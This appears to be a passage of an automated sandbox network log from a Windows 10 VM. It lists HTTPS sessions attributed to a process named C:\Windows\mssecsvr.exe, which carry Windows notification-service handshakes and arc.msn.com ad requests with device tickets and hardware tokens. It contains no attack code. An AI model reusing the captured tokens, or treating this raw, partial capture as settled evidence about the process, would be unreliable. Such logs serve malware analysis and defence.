2022-07-20 17:30:45 UTC	207	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3044 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: VW/8nOu/AZ7XsK0GozjUCd1sDbZkghZFy9QmZ5GClgYPllR2XcOW1fOsNqj8c7iPgcHZ4xzqdMzqsIZThJxIxTlx5VNttALggFTJ3n4iYaU3s+FHvF9Rd8+en9XAQ0DWvQoIKPk2TpVOu7xOoyh+BZiybOB1N/Ih6hFwK3ky/AMDnTAC4RUcgmB6K6g/Yz4VQvgcnNmrPKjRGOhO1gXPpU/6Ot19WN9KkUneeHFdZlrLMvzZouh8V3SlFhu8glWaA5Bl47LvGm+P189qSA37iyHQSHKRwux8weeOOto45dEVbnMqHMaUdHSV+TS3N2U4V7VMI20CpW4ro275nG64Nw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:30:44 GMT Connection: close
2022-07-20 17:30:45 UTC	208	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.7	50258	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:45 UTC	211	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 37 63 35 30 65 66 31 30 61 65 62 38 61 38 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 47c50ef10aeb8a8e
2022-07-20 17:30:45 UTC	211	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:30:45 UTC	211	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 37 63 35 30 65 66 31 30 61 65 62 38 61 38 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: 47c50ef10aeb8a8e<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:30:45 UTC	212	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 37 63 35 30 65 66 31 30 61 65 62 38 61 38 65 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 47c50ef10aeb8a8e
2022-07-20 17:30:45 UTC	212	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:30:45 UTC	212	IN	Data Raw: 4d 53 2d 43 56 3a 20 38 70 68 51 30 36 68 4a 55 6b 79 41 31 41 7a 33 63 77 62 2b 56 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 8phQ06hJUkyA1Az3cwb+VQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.7	50261	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:46 UTC	212	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 64 66 34 62 65 30 65 35 39 62 61 37 35 36 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 2df4be0e59ba7569
2022-07-20 17:30:46 UTC	212	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:30:46 UTC	212	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 64 66 34 62 65 30 65 35 39 62 61 37 35 36 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: 2df4be0e59ba7569<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:30:46 UTC	213	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 64 66 34 62 65 30 65 35 39 62 61 37 35 36 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 2df4be0e59ba7569<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:30:46 UTC	214	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:30:46 UTC	214	IN	Data Raw: 4d 53 2d 43 56 3a 20 69 56 56 53 36 45 6b 57 4a 6b 65 30 6d 69 71 46 66 79 67 52 45 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: iVVS6EkWJke0miqFfygREg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.7	50294	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:48 UTC	214	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T023045Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=c154c8f3bbdf4b679f670b87484d656b&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611745&metered=false&nettype=ethernet&npid=sc-338387&oemName=febefl%2C%20Inc.&oemid=febefl%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=febefl7%2C1&tl=2&tsu=1611745&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAX53Shot7GCa+sDJIfUzGa6x0fLGjdvS3Y29XWT6WEue7E2WN8hZ8KeczSoZbqfNsCoMhIlZ2iQ+MnysyzhMHoGfAJidy1ZnG4v74of4EO0LzDr9jjckEK1goIlqqofeQfIhsmgo706/Ain6QMuFqIgnhC1sVoX9wNDdU0eQc739b9iOiD4cdRD5h5olGrAeSuGKddqF7Wvtlcvw3uG3UV/uqW4q/014g01LJXusmPnzGvFcPhvg7iqV7V689H24URU749a9JGWF5ypSU2ckuqA5YPFkVbILdx/NPcvDEOwsf/cu40fO6zVltXkm7ESxuUXeDQRzhckg18OMNIcX4bsDZgAACJwvwvVDTpvDqAFbymVTC/9NfRWUcbutu6r8SRLGw6nRnIMBOFW9XDa9Lu/VYRv3eUFElUhlHZQ9Ow8WZIl6TqEc3Wl3nCD1g/psV3TZfPfEN4UlGA89xcGsMYo6vUbKJLzWwRKITsA+zSR55jhKzFSQk7ULfgX1eKsBQDxdaNzfQdIJ9WOc2lqSlqHHM6aBZmd4kly1BbWM5h4NOMvRBPKmUZaT8WdKNarfyB2GduZq0FbKoeGV8OnDe/B46j4foPdzlRm9p24eTV20fJM6OUb03sr2ZRRWX2+UUNgK41isZ+g6ALUtcTH77Hqh2MiHM2etu5/FLzOqMO5AsXu9YzNoK4eXT7wtn043B9SZm4ISVSIXAQEv3v7DbRfUbs9W00AvR6VyHOgEVCVaUCeANHtgTnkK07KHrsJG12q7jPofsc062AZU65Czq5wnicxJbJUDMvDB2GdEigYPw0c7OLKkArqodE3I6nreLmBpgqZJSxd8DZLOxciIH8zprHtFEALUjMzNOHSmNm9KDFfMAInmmKoGKbWrFJL/WJx65kHpuKmqA0SFTd/B4Cu2vUXT7w7r1gE=&p= Cache-Control: no-cache MS-CV: HaaqiicIfUqLEWgm.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:30:48 UTC	218	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 24688 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"3,P425056668-T700379701-C128000000003168489+B+P90+S1,P425615666-T700383923-C128000000003288689+B+P60+S2,P400090958-T700355890-C128000000002295309+B+P20+S3"},{"BATCH_REDIRECT_STORE":"BWW_128000000003168489_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000003288689_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000002295309_EN-US+P0+S0"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: X4YGAmWQReXUZ4nxGoeZcc+jLiJdiND3l5MagK3vUV3UXY6bCAyNTdo3wu4x6MS9qb7pnXEznmkf5DNWd1BF9oGOp0V6JF6PtqM8hKLdQjnLhxSyC9aXcpQ2rrOR19upF9U2nVAX0ZbLFaItnHxnnDB0zzxNiDy3J0hbng9y3B/PJ4YV/DhGf0O+M9oxlBafG5TkHCTKOh4RWUMg+9jgm4PlqZtQ7HbWdsE51z+Qw6hhi9Nfi/vU4jJkC17CH8xYZC0SnafD3sinqGJZlXrYhq7vHlnAD/YnabiVpNishJxfekPy3NSUtKIWbllNsZAMzFnjr5rFEbilnkoATO/kMA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:30:47 GMT Connection: close
2022-07-20 17:30:48 UTC	219	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2022-07-20 17:30:48 UTC	239	IN	Data Raw: 3d 32 26 52 45 51 54 3d 32 30 32 32 30 37 32 30 54 31 37 33 30 34 38 26 4d 41 5f 53 63 6f 72 65 3d 32 26 50 45 52 53 49 44 3d 38 38 33 30 35 38 30 37 41 32 37 36 38 44 45 32 36 46 37 33 41 45 43 43 36 38 39 32 32 33 34 32 26 47 4c 4f 42 41 4c 44 45 56 49 43 45 49 44 3d 36 38 32 35 37 39 35 30 35 32 37 39 35 32 33 39 26 4c 4f 43 41 4c 49 44 3d 77 3a 45 45 34 38 39 30 43 35 2d 39 30 41 45 2d 35 39 45 32 2d 35 41 43 35 2d 43 32 30 41 41 36 36 35 34 35 39 32 26 44 53 5f 45 56 54 49 44 3d 66 31 38 39 33 38 37 63 39 37 64 31 34 63 39 35 39 65 61 38 30 30 33 35 38 39 39 61 39 39 62 65 26 42 43 4e 54 3d 31 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 53 26 55 4e 49 44 3d 33 33 38 33 38 37 26 4d 41 50 5f 54 49 44 3d 46 36 44 32 32 42 43 Data Ascii: =2&REQT=20220720T173048&MA_Score=2&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=f189387c97d14c959ea80035899a99be&BCNT=1&PG=PC000P0FR5.0000000IRS&UNID=338387&MAP_TID=F6D22BC

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.7	50296	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:48 UTC	216	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T023046Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=4d736a9da3d44005b13e152f19959c70&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611745&metered=false&nettype=ethernet&npid=sc-338388&oemName=febefl%2C%20Inc.&oemid=febefl%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=febefl7%2C1&tl=2&tsu=1611745&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAX53Shot7GCa+sDJIfUzGa6x0fLGjdvS3Y29XWT6WEue7E2WN8hZ8KeczSoZbqfNsCoMhIlZ2iQ+MnysyzhMHoGfAJidy1ZnG4v74of4EO0LzDr9jjckEK1goIlqqofeQfIhsmgo706/Ain6QMuFqIgnhC1sVoX9wNDdU0eQc739b9iOiD4cdRD5h5olGrAeSuGKddqF7Wvtlcvw3uG3UV/uqW4q/014g01LJXusmPnzGvFcPhvg7iqV7V689H24URU749a9JGWF5ypSU2ckuqA5YPFkVbILdx/NPcvDEOwsf/cu40fO6zVltXkm7ESxuUXeDQRzhckg18OMNIcX4bsDZgAACJwvwvVDTpvDqAFbymVTC/9NfRWUcbutu6r8SRLGw6nRnIMBOFW9XDa9Lu/VYRv3eUFElUhlHZQ9Ow8WZIl6TqEc3Wl3nCD1g/psV3TZfPfEN4UlGA89xcGsMYo6vUbKJLzWwRKITsA+zSR55jhKzFSQk7ULfgX1eKsBQDxdaNzfQdIJ9WOc2lqSlqHHM6aBZmd4kly1BbWM5h4NOMvRBPKmUZaT8WdKNarfyB2GduZq0FbKoeGV8OnDe/B46j4foPdzlRm9p24eTV20fJM6OUb03sr2ZRRWX2+UUNgK41isZ+g6ALUtcTH77Hqh2MiHM2etu5/FLzOqMO5AsXu9YzNoK4eXT7wtn043B9SZm4ISVSIXAQEv3v7DbRfUbs9W00AvR6VyHOgEVCVaUCeANHtgTnkK07KHrsJG12q7jPofsc062AZU65Czq5wnicxJbJUDMvDB2GdEigYPw0c7OLKkArqodE3I6nreLmBpgqZJSxd8DZLOxciIH8zprHtFEALUjMzNOHSmNm9KDFfMAInmmKoGKbWrFJL/WJx65kHpuKmqA0SFTd/B4Cu2vUXT7w7r1gE=&p= Cache-Control: no-cache MS-CV: HaaqiicIfUqLEWgm.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:30:48 UTC	234	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 4487 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P400091688-T700129702-C128000000000402926+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: C3HCwYakKzPhaYqdXGOW59ORisnqH1HMecKt1FU7v9iERvAAxTUxsgczrLWBTSnK1+vqGbU3CUjy4hrzuXdXnAjfnx/5fo+npSP6rePaEiTY7WYacde6GcfvUGBS7V5BvVtZUXxsiTUPdPFqOBnKe5ApUyk2mtBFUK5so/KW8FsMF09d2ZuPx24LOabCjN/w8jvRNDzvIX9cr2OlCLb6knYfWx4uem1vriDlvAg3eeswuUVq7OQrnP1IfA3AgtWyJYZYRhIDxIRUllMbjCkfSCGQQfJjXxwkM1rcbMU/+/FlfZQ29C2Q283bSExchaB9mfU/P2byeqyAbyQLGR0Q+g== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:30:47 GMT Connection: close
2022-07-20 17:30:48 UTC	235	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 74 65 6d 70 6c 61 74 65 54 79 70 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"templateType\":{\"type\":\"text\"},\"onRender\":{\"t

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.7	50314	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:49 UTC	248	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 62 65 38 61 62 39 66 64 34 32 66 37 34 32 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: ebe8ab9fd42f7423
2022-07-20 17:30:49 UTC	248	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
